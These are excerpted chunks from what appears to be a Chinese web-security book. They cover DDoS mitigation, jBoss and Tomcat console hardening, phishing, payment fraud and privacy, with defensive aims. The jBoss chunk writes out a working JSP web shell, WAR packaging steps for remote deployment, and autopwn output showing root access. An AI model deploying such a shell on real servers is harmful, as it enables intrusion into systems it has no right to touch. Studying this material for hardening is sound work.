    {"text": "首先，Nginx的配置非常灵活，在对抗DDOS和CC攻击方面也能起到一定的缓解作用，比如下面的一些配置参数： worker_processes 1; worker_rlimit_nofile 80000; events { worker_connections 50000; } server_tokens off; log_format IP `$remote_addr'; reset_timedout_connection on; listen xx.xx.xx.xx:80 default rcvbuf=8192 sndbuf=16384 backlog=32000 accept_filter=httpready; 其次，在Nginx配置中还可以做一些简单的条件判断，比如客户端User-Agent具有什么特征，或者来自某个特定referer、IP等条件，响应动作可以是返回错误号，或进行重定向。 set $add 1; location /index.php { limit_except GET POST { deny all; } set $ban \"\"; if ($http_referer = \"\" ) {set $ban $ban$add;} if ($request_method = POST ) {set $ban $ban$add;} if ($query_string = \"action=login\" ){set $ban $ban$add;} if ($ban = 111 ) { access_log /var/log/ [133]nginx/ban IP; return 404; } proxy_pass http://127.0.0.1:8000; #here is a patch } 在此仍需强调的是，Web Server对于DDOS攻击的防御作用是有限的。"},
    {"text": "15.3 jBoss远程命令执行 jBoss是J2EE环境中一个流行的Web容器，但是jBoss在默认安装时提供的一些功能却不太安全，如果配置不得当，则可能直接造成远程命令执行。"},
    {"text": "由于jBoss在默认安装时会有一个管理后台，叫做JMX-Console，它提供给管理员一些强大的功能，其中包括配置MBeans，这同样也会为黑客们打开方便之门。"},
    {"text": "$ echo 'The JSP to execute the commands' $ cat >cmd.jsp <%@ page import=\"java.util.*,java.io.*\"%> <% %> <HTML><BODY> Commands with JSP <FORM METHOD=\"GET\" NAME=\"myform\" ACTION=\"\"> <INPUT TYPE=\"text\" NAME=\"cmd\"> <INPUT TYPE=\"submit\" VALUE=\"Send\"> </FORM> <pre> <% if (request.getParameter(\"cmd\") != null) { out.println(\"Command: \" + request.getParameter(\"cmd\") + \"<BR>\"); Process p = Runtime.getRuntime().exec(request.getParamete r(\"cmd\")); OutputStream os = p.getOutputStream(); InputStream in = p.getInputStream(); DataInputStream dis = new DataInputStream(in); String disr = dis.readLine(); while ( disr != null ) { out.println(disr); disr = dis.readLine(); } } %> </pre> </BODY></HTML> $ echo 'The web.xml file in the WEB-INF directory configures the web application' $ mkdir WEB-INF $ cat >WEB-INF/web.xml <?xml version=\"1.0\" ?> <web-app xmlns=\"http://java.sun.com/xml/ns/ j2ee\" xmlns:xsi=\"http://www.w3.org/2001/ XMLSchema-instance\" xsi:schemaLocation=\"http://java.sun.com/xml/ ns/j2ee http://java.sun.com/xml/ns/j2ee/web- app_2_4.xsd\" version=\"2.4\"> <servlet> <servlet-name>Command</servlet-name> <jsp-file>/cmd.jsp</jsp-file> </servlet> </web-app> $ echo 'Now put it into the WAR file' $ jar cvf cmd.war WEB-INF cmd.jsp $ echo 'Copy it on a web server where the Jboss server can get it' $ cp cmd.war /var/www/localhost/htdocs/ 然后使用DeploymentScanner，访问http://[host]:8080/jmx-console/HtmlAdaptor?action=inspect MBean&name=jboss.deploy-ment:type=DeploymentScanner,flavor=URL。"},
    {"text": "除了使用DelpymentScanner远程布署war包外，德国的Redteam安全小组研究发现，通过JMX-Console提供的BSH（Bean Shell）Deploy-ment方法，同样也能布署war包。"},
    {"text": "执行命令的思路是，利用createScriptDeploy-ment()执行命令，通常是在/tmp目录下写入一个war包后，再通过JMX-Console的布署功能加载此war包。"},
    {"text": "JMX-Console为黑客大开方便之门，通过简单的“Google hacking”，可以在互联网上找到很多开放了JMX-Console的网站，其中大多数是存在漏洞的。 通过“Google hacking”搜索存在jBoss管理后台的网站 因此出于安全防御的目的，在加固时，需要删除JMX-Console后台，事实上，jBoss的使用完全可以不依赖于它。 要移除JMX-Console，只需要删除jmx-console.war和web-console.war即可，它们分别位于$JBOSS_HOME/server/all/deploy和$JBOSS_HOME/server/default/deploy目录下。 使用如下命令删除： cd $JBOSS_HOME bin/shutdown.sh mv ./server/all/deploy/jmx-console.war jmx- console-all.bak mv ./server/default/deploy/jmx-console.war jmx-console.war-default-bak mv ./server/all/deploy/management/console- mgr.sar/web-console.warweb-console-all.bak mv ./server/default/deploy/management/ console-mgr.sar/web-console.war web-console-default.bak bin/run.sh 如果出于业务需要不得不使用JMX-Console，则应该使用一个强壮的密码，并且运行JMX-Con-sole的端口不应该面向整个Internet开放。"},
    {"text": "它提供的Tomcat Manager的作用与JMX-Console类似，管理员也可以在Tomcat Man-ager中部署war包。 Tomcat Manager界面 但值得庆幸的是，Tomcat Manager布署war包需要有manager权限，而这一权限是在配置文件中定义的。"},
    {"text": "一个典型的配置文件如下： [root@nitrogen conf]# cat tomcat-users.xml <?xml version='1.0' encoding='utf-8'?> <tomcat-users> <role rolename=\"tomcat\"/> <role rolename=\"role1\"/> <user username=\"tomcat\" password=\"tomcat\" roles=\"tomcat\"/> <user username=\"both\" password=\"tomcat\" roles=\"tomcat,role1\"/> <user username=\"role1\" password=\"tomcat\" roles=\"role1\"/> </tomcat-users> [root@nitrogen conf]# 需要由管理员修改此文件，定义出manager角色： <user username=\"manager\" password=\"!@m4n4g3r! @#! \" roles=\"manager\"/> 但是，像下面这种配置，就存在安全隐患了。 [root@nitrogen conf]# cat tomcat-users.xml <?xml version='1.0' encoding='utf-8'?> <tomcat-users> <role rolename=\"tomcat\"/> <role rolename=\"role1\"/> <role rolename=\"manager\"/> <user username=\"tomcat\" password=\"tomcat\" roles=\"tomcat,manager\"/> <user username=\"both\" password=\"tomcat\" roles=\"tomcat,role1\"/> <user username=\"role1\" password=\"tomcat\" roles=\"role1\"/> </tomcat-users> [root@nitrogen conf]# 它直接将tomcat用户添加为manager角色，而tomcat用户的密码很可能是一个默认密码，这种配置违背了“最小权限原则”。"},
    {"text": "[root@attacker jboss-autopwn-new]# ./tomcat- autopwn-nix 192.168.1.2 8080 2>/dev/null [x] Web shell enabled!!: http://192.168.1.2:8080/browser/browser.jsp [x] Running as user...: uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm) ,6(disk),10(wheel) ,6(disk),10(wheel) ^C [root@attacker jboss-autopwn-new]# 虽然Tomcat后台有密码认证，但笔者仍然强烈建议删除这一后台，因为攻击者可以通过暴力破解等方式获取后台的访问权限，从安全的角度看，这增加了系统的攻击面，得不偿失。"},
    {"text": "简单来说，就是通过GET或POST向服务器发起请求时，提交两个相同的参数，那么服务器会如何选择呢？ 比如提交： /?a=test&a=test1 在某些服务端环境中，会只取第一个参数； 而在另外一些环境中，比如.net环境中，则会变成： a=test,test1 这种特性在绕过一些服务器端的逻辑判断时，会非常有用。"},
    {"text": "但是正如我们在本书中所举的很多例子一样，当程序员不熟悉软件的这种功能时，就有可能造成误用，或者程序逻辑涵盖范围不够全面，从而形成漏洞。"},
    {"text": "HPP这一问题再次提醒我们，设计安全方案必须要熟悉Web技术方方面面的细节，才不至于有所疏漏。 从防范上来看，由于HPP是服务器软件的一种功能，所以只需在具体的环境中注意服务器环境的参数取值顺序即可。"},
    {"text": "比如去商场选购一台电视机，一般会比较电视机的方方面面：功能是否先进、硬件配置如何、外表美观程度、厂商的口碑、售后服务的质量，以及价格。"},
    {"text": "一个完整的产品有许多特性，互联网产品亦如此。 互联网产品其实是网站提供的在线服务，产品特性包括性能、美观、方便性等方面，同时也包括安全。 一般来说，安全是产品的一个特性。 安全本身可视作产品的一个组成部分。 一个好的产品，在设计之初，就应该考虑是否会存在安全隐患，从而提前准备好对策。 将安全视为产品特性，往往也就解决了业务与安全之间的矛盾。 其实业务与安全之间本来是没有冲突的，出现冲突往往是因为安全方案设计得不够完美。 比如安全方案的实现成本相对较高，从而不得不牺牲一些产品功能上的需求，有时候牺牲的可能还有性能。"},
    {"text": "曾经有一位安全专家，对数百位开发者进行了调研，在这些开发者的眼中，对于一个项目，影响因素的优先级排序分别是： （1）功能是否能按原定设计实现；"},
    {"text": "16.1.1 互联网产品对安全的需求 当一个产品功能有缺陷、用户体验极差，甚至是整天宕机的时候，是谈不上安全性的，因为产品本身可能都已经无法存在下去了。"},
    {"text": "但是当一个产品其他方面都做得很好的时候，安全有可能会成为产品的一种核心竞争力，成为拉开产品与竞争对手之间差距的秘密武器。 只有安全也做得好的产品，才能成为真正的好产品。"},
    {"text": "而Google则根据这份名单对搜索引擎结果中的数据进行筛选，过滤掉不安全的结果。 Google的安全团队也在研究恶意网址识别技术，用于对搜索结果和浏览器进行保护。"},
    {"text": "钓鱼网站、欺诈网站通常使用一些搜索引擎优化（SEO）技术，来提高自身在搜索结果中的排名，一旦被搜索引擎收录，就可以更有效地传播，骗到更多的人。"},
    {"text": "而挂马网站略有不同，挂马网站往往是黑客入侵了一个颇受欢迎的网站之后，篡改了网站的页面。 黑客在网页中植入一段攻击代码，试图利用浏览器的漏洞攻击网站的用户。"},
    {"text": "其实早在2006年，就有调查显示，当时的中国互联网用户平均每周都会收到19.94封垃圾邮件，而垃圾邮件每年给国民经济带来大约63.8亿元的损失。"},
    {"text": "推而广之，可以发现，在互联网中，一个成熟的产品几乎必然会存在安全性方面的竞争。 IM、微博、SNS、论坛、P2P、广告等领域，只要有利可图，就会出现安全问题，也就会存在安全方面的竞争。 出现安全性竞争，也可以从侧面反映出一个领域在渐趋成熟。"},
    {"text": "相反，如果产品安全没有做好，则用户一定会感受到：垃圾消息泛滥、骗子满地跑，这些业务安全的问题会带来糟糕的用户体验，有时候甚至会毁掉一个新兴的领域。"},
    {"text": "16.1.2 什么是好的安全方案 可是产品需要什么样的安全呢？ 产品在选择安全方案时，往往会面临很多选择，这时候又该如何取舍呢？ 笔者认为，一个优秀的安全方案，除了可以有效地解决问题以外，至少还必须具备两个条件： （1）良好的用户体验；"},
    {"text": "比如网上银行办理的“U盾”、“动态口令卡”、“令牌”、“客户端证书”、“手机短信验证码”等业务，就都属于双因素认证，它在用户名与密码之外再做了一次认证。"},
    {"text": "因此，我们需要慎重使用双因素认证方案。 一般来说，只有一些安全要求非常高的账户，或者系统本身就极其敏感的地方，才使用双因素认证方案。"},
    {"text": "而有的用户设置了一个自己也记不住的密码后，可能会把“记不住的密码”记录在便条或者本子上，甚至是贴在电脑显示器上，这反而导致密码泄露的可能性提高了。 其实设置复杂密码的初衷，是担心密码会被攻击者猜解。"},
    {"text": "在用户注册时，可以收集到用户填写的个人资料，如果发现用户使用了诸如：用户名、邮件地址、生日、电话号码之类的个人信息作为密码，则应当立即进行提示。"},
    {"text": "安全是产品的一种特性，如果我们的产品能够潜移默化地培养用户的安全习惯，将用户往更安全的行为上引导，那么这样的安全就是最理想的产品安全。"},
    {"text": "于是就出现了一个很神奇的现象：客服登录进该用户的IM账户后，攻击者又紧跟着登录，还会把客服登录的账户踢下线； 客服又继续登录，把攻击者踢下线，如此反复。"},
    {"text": "一般来说，网站的用户修改密码后，会同步修改IM的账户密码。 但是这个案例里，网站修改密码的逻辑里，并没有同步修改对应的IM账户，于是出现了这样的一个逻辑漏洞：不管网站的用户密码如何更改，攻击者总是能够通过对应的IM账户登录（因为之前账户已经被盗了）。"},
    {"text": "这就是一个典型的业务逻辑安全问题。 业务逻辑问题与业务的关系很紧密，花样百出，很难总结归类。 业务逻辑问题是一种设计缺陷，在产品开发过程中，可以考虑在产品设计和测试阶段解决。 但业务逻辑问题没有一个成熟的归纳体系，很多时候，只能依靠安全工程师的个人经验来判断这些问题。"},
    {"text": "16.2.2 谁是大赢家 在2007年的Blackhat大会上，来自Whitehat公司的Jeremiah Grossman专门做了一场关于业务逻辑安全的演讲，其中提到了几个很有意思的案例。"},
    {"text": "也许你已经猜到了，某黑客在给商品出价后，在网站上继续观察谁出了一个更高的价格，当他发现有人出价更高时，就去恶意登录这个用户的账户：当登录失败次数达到5次时，该账户就被系统锁定了。"},
    {"text": "暴力破解通常都有一定的特征，比如某个账户在5分钟内登录错误达到10次。 还有一种暴力破解攻击是根据弱口令来遍历用户名的，比如黑客使用密码“123456”，尝试登录不同的用户名。"},
    {"text": "但经过实践检验，即使黑客使用了多个IP地址，想要使攻击达到一定的规模，还是会使用重复的IP地址。 最终的结果就是单个IP地址可能会发起多次网络请求。"},
    {"text": "通常，如果不考虑客服的话，用户想自助取回密码，有三个方法可以用来认证用户：一是用户设定的安全问题，比如“妈妈的生日是什么时候”，答：“生我的那天”； 二是用户注册时留下的安全邮箱，可以通过邮箱修改密码； 三是给用户发送手机短信验证码，这需要用户预留手机信息。"},
    {"text": "2007年，《南方日报》报道过这样一个案例：12月14日早上，广州某国际旅行社吴小姐上QQ时突然发现“您的QQ账户在另一地点登录，您已被迫下线”的提示。"},
    {"text": "网络游戏行业，因为有利可图，虚拟货币、游戏装备的变现能力吸引了大量黑客，因此网游成为盗号的重灾区。 同样盗号问题严重的，还有网上银行以及网上支付相关的行业。"},
    {"text": "（2）用户电脑中了木马，密码被键盘记录软件所获取。 （3）用户被钓鱼网站所迷惑，密码被钓鱼网站所骗取。 （4）网站某登录入口可以被暴力破解。 （5）网站密码取回流程存在逻辑漏洞。 （6）网站存在XSS等客户端脚本漏洞，用户账户被间接窃取。 （7）网站存在SQL注入等服务器端漏洞，网站被黑客入侵导致用户账户信息泄露。 以上这些威胁中，除了“用户电脑中了木马”与“用户上了钓鱼网站”这两点与用户自身有关外，其余几点都是可以从服务器端进行控制的。"},
    {"text": "（按照风险从高到低排列） （1）网站被暴力破解D(3)+R(3)+E(3)+A(3)+D(3) = 15 （2）密码取回流程存在逻辑漏洞D(3)+R(3)+E(3)+A(3)+D(2) = 14 （3）密码被嗅探 D(3)+R(3)+E(3)+A(1)+D(3)= 13 （4）网站存在SQL注入漏洞D(3)+R(3)+E(2)+A(3)+D(1) = 12 （5）用户被钓鱼 D(3)+R(1)+E(3)+A(2)+D(3)= 12 （6）网站存在XSS，账户被间接窃取D(3)+R(2)+E(2)+A(2)+D(2) = 11 （7）用户中木马 D(3)+R(1)+E(2)+A(1)+D(1)= 8 尽管风险的判断存在一定的主观因素，但DREAD模型还是能帮助我们更清楚地认识到目前的问题所在。"},
    {"text": "但是在今天，大家都开始重视“ARP欺骗”，在许多IDC机房里都实施了对抗ARP欺骗的方案，比如采用带有DAI功能的思科交换机，或者静态绑定IP地址与MAC。"},
    {"text": "如果网站将用户的密码明文保存在数据库中，或者没有加Salt的哈希值，则黑客可以根据这些密码，再次尝试入侵同一用户的邮箱、IM等第三方网站账户。"},
    {"text": "从客服收集第一手资料，甚至由工程师回访客户，会有意想不到的收获。 客户往往讲不清楚问题的关键，所以需要事先考虑好各种可能性，并有针对性地向客户提一些问题。 有时候访问个别客户也许无法得到所需结果，此时应该耐心等待并收集更多证据。"},
    {"text": "如果没搞清楚事实的真相到底是什么，而只是靠猜测来设计解决方案的话，则很容易找错目标，从而浪费非常宝贵的时间，问题也很可能因此而扩大化。"},
    {"text": "比如暴力破解，很有可能会在登录日志中留下大量错误登录的记录，如果找到了，则求证成功。 稍微复杂点的，如果是“密码取回流程”之类的逻辑漏洞，则被盗用户可能有这样的特征：异地登录后实施更改密码一类的操作，甚至有个别“高危地区IP”登录多个不相关账户的行为。"},
    {"text": "比如一个论坛提供一些内部资源供会员购买（比如付费的正版电影），但是购买的形式是会员每次购买都需要支付相应的“虚拟金币”。 “虚拟金币”的获得有几种途径：会员在论坛里发帖，可以获得一定的金币； 或者会员通过网银充值，能够兑换到金币； 还有就是论坛为了鼓励新注册会员，会给每个新注册账户赠送10个金币。 这给了恶意用户可乘之机：利用“新注册用户奖励10个金币”的机制，恶意用户通过批量注册的手段，一夜之间注册了几千个账户，并在站内将金币都转到一个账户上，最终在论坛里消费掉这些金币。"},
    {"text": "笔者曾经见过一些批量注册账户的程序——由于网站在注册时要求输入验证码，而验证码难以破解，骗子雇佣了一批人，在网吧里每天的工作就是手动输入验证码。"},
    {"text": "如果再从垃圾注册和垃圾消息的内容去分析，又可以发现很多不同的特点： （1）注册时填写的用户名可能是随机生成的字符串，而非自然语言；"},
    {"text": "如果与业务相结合的话，还能挖掘出更多的特征，比如在IM里： （1）如果某个用户给许多不同用户发送消息，但接收者都不回消息的话，这个人可能就是在发送垃圾消息； （2）如果某个用户加入不同的IM群后，发送的消息总是同样的内容，不说其他话，则可能也是在发送垃圾消息。"},
    {"text": "16.5.1 钓鱼网站简介 很多站长都会觉得很无辜：“是钓鱼网站模仿了我的网页，又不是我的网站出现了漏洞”、“用户上当，是因为用户傻”。"},
    {"text": "这个产业链中分工明确：有人制作并销售生成钓鱼网站的程序，有人负责在邮件、IM中传播钓鱼网站，有人负责将骗到的钱财从银行账户中洗出来。"},
    {"text": "钓鱼网站模仿目标站点统计 在国外，钓鱼网站（Phishing）的定义是页面中包含了登录表单的网站，此类网站的目的是骗取用户的密码。 但是随着网络犯罪手段的多样化，很多钓鱼网站开始模仿登录页面之外的页面，目标也不仅仅是简单的骗取密码。 此类钓鱼网站可以称为“欺诈网站”，也可以认为是广义的钓鱼网站，因为它们都是以模仿目标网站的页面为基本技术手段。"},
    {"text": "以淘宝网的钓鱼网站为例，正常的淘宝网登录页面如下： 而伪造的淘宝网钓鱼网站则如下： 注意钓鱼网站的URL是： http://item.taobao-com-ite.cz.cc/member/ login.jhtml_f_top.Asp?u=admin 钓鱼网站一般都会使用欺骗性的域名，并通过各种文字变形诱骗用户。"},
    {"text": "令人吃惊的是，笔者接触到的许多因为钓鱼网站而被盗的案件中，用户强调自己能分辨钓鱼网站，但真相是往往用户自己并不知道曾经访问了钓鱼网站。"},
    {"text": "淘宝网上的购物有自己的IM——淘宝旺旺，在旺旺上传播的钓鱼网站一般是模仿淘宝网的钓鱼网站； 而在QQ上，更多的是传播拍拍与财付通的钓鱼网站。"},
    {"text": "一封典型的钓鱼邮件如下，注意邮件的发送者被伪造成真实的邮箱地址。 伪造的Alibaba发件人邮箱 在邮件正文中，则诱骗用户到一个伪造的钓鱼网站。"},
    {"text": "包含钓鱼网站的邮件正文 目前有许多识别发件人邮箱的安全技术，大部分都是基于域名策略的，比如SPF（Sender PolicyFramework）、Yahoo的DomainKeys、微软的Sender ID技术等。"},
    {"text": "公钥布署在收信方的DNS服务器上，用于解密； 私钥则用于发信方的邮件服务器，对发出的每封邮件进行签名。 这样收信方在收信时，到DNS服务器上查询属于发信方域名的公钥，并对邮件中的加密串进行解密验证，以确保该邮件来自正确域。"},
    {"text": "根据网站业务的差异，在评论、博客、论坛等处也可能会存在钓鱼链接，时下非常热门的SNS和微博，也可能会成为钓鱼网站传播的主要途径之一。"},
    {"text": "16.5.3.1 控制钓鱼网站传播途径 控制钓鱼网站传播的途径，就能对钓鱼网站实施有效的打击。 一个网站如果有IM、邮箱等互联网基础服务的业务，则可以利用自有资源对用户产生的内容进行控制，检查其中是否包含钓鱼网站，尤其在一些“用户与用户之间交互”比较多的地方。"},
    {"text": "网络钓鱼是需要整个互联网共同协作解决的一个问题，因此当钓鱼传播途径脱离了目标网站本身的范畴时，应该积极地通过与外部合作的方式，共建一个安全的大环境，也就是建立一个反钓鱼的统一战线。 目前很多大的互联网公司都已经意识到统一战线的重要性，这条反钓鱼的统一战线已经初具规模，网站、互联网基础服务、浏览器厂商、反病毒厂商、银行、政府都成为这条战线的成员。 浏览器是一个较为特殊的环节，因为浏览器是互联网的入口，钓鱼网站不管是在IM中传播，还是在邮件里传播，归根结底还是要上到浏览器上的。 所以在浏览器中拦截钓鱼网站，能事半功倍。"},
    {"text": "浏览器与杀毒软件在反钓鱼方面面临的问题，就是软件的用户覆盖率，以及钓鱼网址信息的互通与共享。 只有当不同的浏览器厂商、杀毒软件厂商能够及时同步钓鱼网址的黑名单时，才能完善这道最终的防线。 钓鱼网站的黑名单，可以成为一个公共信息公布在互联网上，任何浏览器和反病毒厂商都可以使用这些黑名单。"},
    {"text": "Google公开了一个“Safe Brows-ing API”，公布了Google发现的这些恶意网址。 通过“Safe Browsing API”，可以获取钓鱼网址、挂马网址、诈骗网址的黑名单。"},
    {"text": "可是运营商本身无法识别一个网址是否是钓鱼网站，因此很多运营商依靠一些第三方的安全机构或者安全公司，以合作的方式对恶意网址进行关停。 安全公司发起的“关停恶意网址要求”目前已经变成一项生意，网站可以购买相关的服务以对自身品牌进行保护。"},
    {"text": "笔者曾经看过这样的一个案例：一个木马在某IM里传播，很多用户上当受骗，于是该IM做了一个功能：检查用户传输的文件是否为.exe等可执行文件，如果是压缩包则看压缩包里是否包含了.exe，如果有则警告用户这可能是一个木马。"},
    {"text": "16.5.3.4 自动化识别钓鱼网站 在钓鱼网站的拦截过程中，有一个关键的工作，就是快速而准确地识别钓鱼网站。 依靠人工处理钓鱼网站，工作量会非常大，因此有必要使用技术手段，对钓鱼网站进行一些自动化的识别。"},
    {"text": "比如正常的淘宝宝贝页面URL中包含了参数值“-0db2-b857a497c356d873h536h26ae7c69”，这种参数值几乎成了淘宝URL的特色。"},
    {"text": "因此，下面这个钓鱼网站模仿了这种URL： http://item.taobso.comdiz.info/auction/ item_detail-0db2- b857a497c356d873h536h26ae7c69 .htm.asp?ai=486 在域名上，也有很多字母变形。"},
    {"text": "比如上面的钓鱼网站，其页面代码中就包含了如下脚本： 而这段脚本实际上是钓鱼网站原封不动地从目标网站“淘宝网”上拷贝下来的，这段脚本就可以成为一个特征。"},
    {"text": "接下来，就要讲讲这种比较奇特的诈骗方式，它实际上利用了今天电子商务支付环节的一个设计缺陷，而且这个设计缺陷还难以在短时间内修补。"},
    {"text": "<form id=\"ebankPayForm\" name=\"ebankPayForm\" target=\"_blank\" method=\"post\" action=\"https://B2C.icbc.com.cn/servlet/ ICBCINBSEBusinessServlet\" > <input type=\"hidden\" name=\"interfaceName\" value=\"ICBC_PERBANK_B2C\"/> <input type=\"hidden\" name=\"interfaceVersion\" value=\"1.0.0.0\"/> <input type=\"hidden\" name=\"orderid\" value=\"507148170\"/> <input type=\"hidden\" name=\"amount\" value=\"985000\"/> <input type=\"hidden\" name=\"curType\" value=\"001\"/> <input type=\"hidden\" name=\"merID\" value=\"4000EC23359695\"/> <input type=\"hidden\" name=\"merAcct\" value=\"4000021129200938482\"/> <input type=\"hidden\" name=\"verifyJoinFlag\" value=\"0\"/> <input type=\"hidden\" name=\"notifyType\" value=\"HS\"/> <input type=\"hidden\" name=\"merURL\" value=\"http://bank.yeepay.com/app-merchant- proxy/neticbcszrecv.action\"/> <input type=\"hidden\" name=\"resultType\" value=\"0\"/> <input type=\"hidden\" name=\"orderDate\" value=\"20110522205936\"/> <input type=\"hidden\" name=\"goodsName\" value=\"中国联通交费充值\"/> <input type=\"hidden\" name=\"merSignMsg\" value=\"fwWXBaBUrgwpxzP5oxyZay7ObihJrHt9UkGm9o kjRrHH828Kx8b/lkX8hOdS7wv74lgh3rZybkqSL+ DpB9F0u24+Pji9CWrGJeN5Y96qd97agv/n802vVp +VhKbFc0h6yuSQH4HK6dRxFrz4DsdpqgAr7ZdpUiM2DgS zjHCQUK0=\"/> <input type=\"hidden\" name=\"merCert\" value=\"MIIDBDCCAeygAwIBAgIKYULKEHrkAC49gjANBg kqhkiG9w0BAQUFADA2MR4wHAYDVQQDExVJQ0JDIE NvcnBvcmF0ZSBTdWIgQ0ExFDASBgNVBAoTC2ljYmMuY29 tLmNuMB4XDTEwMDkyNTA3NTU0MloXDTExMTAxMDE 1NTk1OVowPzEYMBYGA1UEAxMPeWVlcGF5MDEuZS40MDAw MQ0wCwYDVQQLEwQ0MDAwMRQwEgYDVQQKEwtpY2Jj LmNvbS5jbjCBnzANBgkqhkiG9w0BAQEFAAOBjQAwgYkCg YEA1LE1UbpYQd2bW87+hzo/3F9N8A8m3OCVU4Vj8 rYN7g499YwXJtCmvXJpKGHzpsygEvrwDsEWQp2rOFI0nS Ayga4VyyVbmFnx3dkiKFpAco6pi+G2YvtaxsoI8o I0ZpBzytRJRDy3WSZG6mKw3ty5UlbAiNlugJARfcMuYGv Q7jsCAwEAAaOBjjCBizAfBgNVHSMEGDAWgBT5yEX DU5MmNjGTL5QQ38hTPfZvnjBJBgNVHR8EQjBAMD6gPKA6 pDgwNjEQMA4GA1UEAxMHY3JsMzAzMTEMMAoGA1UE CxMDY3JsMRQwEgYDVQQKEwtpY2JjLmNvbS5jbjAdBgNVH Q4EFgQUI+mwl5mh7sI81gNXua2rcv/nev0wDQYJK oZIhvcNAQEFBQADggEBALaJ5oyxbHP8LsWiyvi//ijREA iA6oJ35hEy6Yn4Y8w7DZwM0H1il7txG0KfGPYU7p AQ6A9iQ+wMnMCBMrLOyws1osi2JQIwZncs7/ AisCXfGlji6wesAU4MCNiAfV2+nPmr2SMpkhak0OIcOZl ZHqN PeTBcTIuPmR3tH3UAJnC5vaz+7/Y +veEXa2PDia//TT2GCsaV3UP3mfdHFzGKVYIIZJ0qGJFN 4nBDqF1aYXgG BawfJwUVDIIJBnv94K9kj4u7sac1Eicl3AwkPJdrhWY/ Y5SZuu11pckfiserbSoGEKDCQ3OD9HoSVFIMpJi7n kwP56xhrJW8mQlUggGAgGE=\"/> <input type=\"hidden\" name=\"remark1\" value=\"0\"/> <input type=\"hidden\" name=\"remark2\" value=\"0\"/> </form> 这个表单的提交地址是： action=https://B2C.icbc.com.cn/servlet/ ICBCINBSEBusinessServlet 这是一个真实的工商银行付款地址。"},
    {"text": "再看看这个表单中的几个关键参数： name=\"orderid\" value=\"507148170\" 订单号 name=\"merID\" value=\"4000EC23359695\" 商户标识 name=\"merAcct\" value=\"4000021129200938482\" 商户标识 name=\"merURL\" value=http://bank.yeepay.com/ app-merchant-proxy/neticbcszrecv.action 商户URL name=\"goodsName\" value=\"中国联通交费充值\" 商品名称 从商户URL可以看到，这笔订单实际上是支付到了yeepay.com，而用户以为自己是支付到了支付宝。"},
    {"text": "一个正常的网购流程，一般如下： 商户（比如淘宝网） 第三方支付平台（比如支付宝、yeepay） 网上银行（比如工商银行） 这实际上是一个跨平台传递信息的过程。"},
    {"text": "这是网上支付流程中存在的一个重大设计缺陷。 造成这个设计缺陷的原因是，在网购过程中的每个平台都有一套自己的账户体系，而账户体系之间并没有对应关系。"},
    {"text": "比如银行的账户是银行卡号和开户名，第三方支付平台有自己的账户，商户又有自己的一套账户体系（比如京东商城）。 某用户小张在京东商城注册了账户“abc”，在支付宝的账户是“xyz”，在银行的卡号是“xxx”。"},
    {"text": "在网银端，银行看到小张就是“xxx”，而不知道京东商城的“abc”以及支付宝的“xyz”也是小张； 在支付宝端，同样也不知道小张就是京东商城的“abc”。"},
    {"text": "骗子去商户创建一个订单，然后交给用户去第三方支付平台支付； 或者骗子创建一个第三方支付平台的订单，然后交给用户去银行支付——正如前文案例中所演示的一样。"},
    {"text": "网络钓鱼问题不是某一个网站的问题，而是整个互联网所需要面对的问题。 解决钓鱼问题，需要建立一条统一战线，改善和净化整个互联网的大环境。"},
    {"text": "事件的结果是索尼运营的PSN网络（一个由SONY运营的以PS游戏机为终端的对战网络平台）陷入瘫痪，同时导致大量的用户数据被泄露。 索尼表示，可能有超过7700万的用户注册信息或已遭到黑客的盗取，而随后有黑客在论坛上开始挂牌销售220万个来自索尼PSN网络数据泄露受害者的个人信息，其中包括姓名、地址、电话号码、信用卡号码甚至后三位CVV2码，这些数据足以让大量用户的信用卡失窃。"},
    {"text": "之前索尼曾表示信用卡信息已经得到加密，但事实上数据库里的内容已经被读出，黑客甚至还炫耀数据库的关键字：fname, lnam, address, zip,country, phone, email, password, dob, ccnum,CVV2, exp date。"},
    {"text": "在互联网时代，网站在提供服务的同时，也拥有了各种各样的用户数据。 从好的方面想，网站在拥有这些用户数据的同时，能够提供给用户更加优质的服务。"},
    {"text": "以搜索引擎为例，如果一个用户在搜索引擎上搜索“杭州楼盘”等关键词，则可以认为这个用户有买房的意向，从而可以展示杭州房地产相关的广告。 如果搜索引擎更加智能一些，能够记住这个用户，知道这个用户前后几天一直在搜索“楼盘”、“中介”，“房产政策”等关键词，搜索引擎就可以猜测这个用户有强烈的购房意向，从而可以进行更深度的营销，比如由销售直接联系这个用户。"},
    {"text": "原来，用户在网站注册时，将手机号码填写在了个人资料中，当时填写的理由可能是“密码找回”、“注册确认”等，又或许是今天SNS最常用的手段：完善多少个人资料，就将获得多少奖励。"},
    {"text": "除了用户自己在网站填写的个人信息外，网站还可以通过“搜索记录”、“浏览网页的历史记录”、“IP地址对应的地理位置”等信息来猜测用户的真实情况。"},
    {"text": "目前互联网缺乏一个对用户隐私数据分级和保护的标准，没有定义清楚哪些数据是敏感的，哪些数据是公开化的，从而也无从谈起隐私数据应该如何保护。"},
    {"text": "比如用户的手机号码，乍一看是非常隐私的数据，如果泄露了，可能会让用户饱受垃圾短信和各类推销电话的骚扰。 但是有的用户，出于商业宣传的目的，却希望其手机号码能广而告之，从而承接业务，这些手机号码又不属于隐私数据。"},
    {"text": "有一位名叫Aza Raskin的安全研究者，认为网站在向用户告知自己的隐私策略时，可以使用简单鲜明的图标来表示，并对数据的使用做了简单的分类。"},
    {"text": "最初由美国政府权威机构联邦贸易委员会（Federal Trade Commission）发布，其灵感来自于阻止电话推销的“全美不接受电话推销名单”（do-not-call registry）。"},
    {"text": "人们上网聊天、写邮件、使用搜索引擎都要使用输入法，包括笔者现在坐在电脑前敲这篇文章，同样也离不开输入法。 输入法才是中国人上网的第一入口！"},
    {"text": "因此无论是公司内部，还是政府、行业，甚至是社会舆论，都会产生足够大的压力和推动力，迫使互联网公司认真对待业务安全问题。 互联网公司要想健康地发展，离不开业务安全。"},
    {"text": "今天我演讲的题目是“麻烦的终结者”，我觉得安全问题对于中小网站站长来说并不能算业务发展上的重大阻力，也并不是迈不过去的难关，安全问题更多的时候像是一种麻烦，非常讨厌，但是你又不得不去面对它。"},
    {"text": "首先自我介绍，我叫吴翰清，来自阿里巴巴集团信息安全中心，我是西安交通大学少年班毕业，2000年开始进行网络安全研究，有10年的安全研究经验。"},
